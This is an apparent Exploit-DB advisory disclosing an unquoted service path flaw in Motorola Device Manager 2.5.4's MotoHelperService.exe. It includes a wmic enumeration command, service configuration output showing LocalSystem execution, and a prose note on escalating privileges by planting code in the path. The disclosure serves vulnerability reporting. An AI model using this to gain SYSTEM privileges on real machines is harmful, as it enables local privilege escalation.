Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path

vendor:

Motorola Device Manager

by:

Angel Canseco

7.8

CVSS

HIGH

Unquoted Service Path

426

CWE

Product Name: Motorola Device Manager

Affected Version From: 2.5.4

Affected Version To: 2.5.4

Patch Exists: N/A

Related CWE: N/A

CPE: a:motorola:motorola_device_manager:2.5.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

Motorola Device Manager 2.5.4 – ‘MotoHelperService.exe’ Unquoted Service Path

A successful attempt would cause the local user to be able to insert their code in the system root path undetected by the OS or other security applications and elevate his privileges after reboot.

Mitigation:

Ensure that all services have a fully qualified path to the executable.

Source

Exploit-DB raw data:

# Exploit Title: Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path
# Discovery by: Angel Canseco
# Discovery Date: 2020-11-07
# Vendor Homepage: https://motorola-device-manager.programas-gratis.net/descarga-completada
# Tested Version: 2.5.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i "MotoHelperService " |
findstr /i /v """

Motorola Device Manager Service

Motorola Device Manager  C:\Program Files (x86)\Motorola Mobility\Motorola
Device Manager\MotoHelperService.exe
Auto


# Service info:

C:\>sc qc "Motorola Device Manager"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Motorola Device Manager
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Motorola
Mobility\Motorola Device Manager\MotoHelperService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Motorola Device Manager Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would cause the local user to be able to insert their
code in the system root path
undetected by the OS or other security applications and elevate his
privileges after reboot.